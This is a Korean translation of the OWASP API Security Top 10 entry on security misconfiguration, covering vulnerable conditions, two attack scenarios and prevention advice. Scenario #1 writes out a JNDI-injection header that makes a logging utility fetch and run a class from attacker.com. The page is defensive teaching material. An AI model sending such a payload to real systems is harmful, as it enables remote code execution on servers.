API8:2023 Security Misconfiguration
위협 요소/공격 경로 | 보안 취약점 | 영향 |
API 명세: 악용 용이함 | 확산성: 탐지 용이함 | 기술적 심각도: 특정 비지니스 |
공격자는 종종 패치 되지 않은 결함, common end-points, 안전하지 않은 기본 구성으로 실행되는 서비스 또는 보호되지 않은 파일 및 디렉터리를 찾기 위해 시스템에 무단으로 접근을 시도하는 경우가 많습니다. 이 중 대부분은 공개된 지식이고 악용이 가능합니다. | 보안 구성 오류는 네트워크 수준에서 애플리케이션 수준까지 API 스택의 모든 수준에서 발생할 수 있습니다. 불필요한 서비스나 레거시 옵션과 같은 잘못된 구성을 감지하고 활용하는 자동화된 도구를 사용할 수 있습니다. | 잘못된 보안 구성은 민감한 사용자 데이터뿐만 아니라 서버 전체를 손상시킬 수 있는 시스템 세부 정보도 노출합니다 |
취약한 API
다음과 같은 경우 API가 취약할 수 있습니다:
•
API 스택의 모든 부분에서 적절한 보안 강화가 누락되었거나 클라우드 서비스에 대한 권한이 부적절하게 구성된 경우
•
최신 보안 패치가 없거나 시스템이 오래된 경우
•
불필요한 기능이 활성화되어 있는 경우(예: HTTP 동사, 로깅 기능)
•
HTTP 서버 체인의 서버에서 들어오는 요청을 처리하는 방식이 일치하지 않을 경우
•
TLS(전송 계층 보안)가 누락되었을 경우
•
보안 또는 캐시 제어 지시가 클라이언트에 전송되지 않을 경우
•
CORS(Cross-Origin Resource Sharing) 정책이 누락되었거나 잘못 설정되었을 경우
•
오류 메시지에는 스택 트레이스가 포함되거나 포함되거나 기타 민감한 정보가 노출되었을 경우
공격 시나리오
Scenario #1
API 백엔드 서버는 기본적으로 활성화된 자리 표시자 확장 및 JNDI(Java Naming and Directory Interface) 조회를 지원하는 인기 있는 타사 오픈 소스 로깅 유틸리티로 작성된 액세스 로그를 유지 관리합니다. 각 요청에 대해 다음 패턴으로 새 항목이 로그 파일에 기록됩니다:
<method><api_version>/<path> - <status_code>
JavaScript
복사
악의적인 행위자가 다음과 같은 API 요청을 발행하고, 이는 액세스 로그 파일에 기록됩니다
GET /health
X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class}
JavaScript
복사
로깅 유틸리티의 안전하지 않은 기본 구성과 허용되는 네트워크 아웃바운드 정책으로 인해 해당 항목을 액세스 로그에 기록하는 동시에 X-Api-Version요청 헤더에 값을 확장하면 로깅 유틸리티가 공격자의 원격 제어 서버에서 Malicious.class 개체를 가져와서 실행합니다.
Scenario #2
소셜 네트워크 웹사이트는 사용자가 개인적인 대화를 유지할 수 있는 "Direct Message" 기능을 제공합니다. 특정 대화를 위한 새로운 메시지를 검색하기 위해 웹사이트는 다음과 같은 API 요청을 발행합니다(사용자 상호 작용은 필요하지 않습니다):
GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA
JavaScript
복사
API response에는 Cache-Control HTTP response Header가 포함되어 있지 않기 때문에 악의적인 행위자가 파일 시스템의 브라우저 캐시 파일에서 해당 데이터를 검색할 수 있습니다.
예방 방법
API 수명주기에는 다음이 포함되어야 합니다:
•
적절한 폐쇄망을 빠르고 쉽게 배포할 수 있는 반복가능한 강화된 프로세스
•
전체 API 스택에서 구성을 검토하고 업데이트하는 작업입니다. 검토에는 오케스트레이션 파일, API 구성 요소 및 클라우드 서비스(예: S3 버킷 권한)가 포함되어야 합니다
•
모든 환경에서 구성 및 설정의 효율성을 지속적으로 평가하는 자동화된 프로세스
더 나아가:
•
클라이언트에서 API 서버로의 모든 API 통신과 downstream/upstream 구성 요소가 암호화된 통신 채널(TLS)을 통해 발생하는지 확인합니다.
•
각 API가 접근할 수 있는 HTTP참조에 대해 구체적으로 명시하세요. 다른 모든 HTTP참조는 비활성화 되어야 합니다. (e.g. HEAD).
•
브라우저 기반 클라이언트(예: WebApp 프런트 엔드)에서 액세스할 것으로 예상되는 API는 최소한 다음을 충족해야 합니다.
•
적절한 CORS(Cross-Origin Resource Sharing) 정책을 구현
•
적용할 수 있는 보안 헤더 포함
•
수신 콘텐츠 유형/데이터 형식을 비즈니스/기능 요구사항을 충족하는 형식으로 제한
•
비동기화 문제를 방지하려면 HTTP 서버 체인의 모든 서버(예: load balancers, reverse and forward proxies, and back-end servers)가 들어오는 요청을 균일한 방식으로 처리하는지 확인
•
예외 추적 및 기타 주요정보가 공격자에게 다시 전송되는 것을 방지하기 위해 오류 응답을 포함한 모든 API 응답 페이로드 스키마를 정의하고 시행합니다.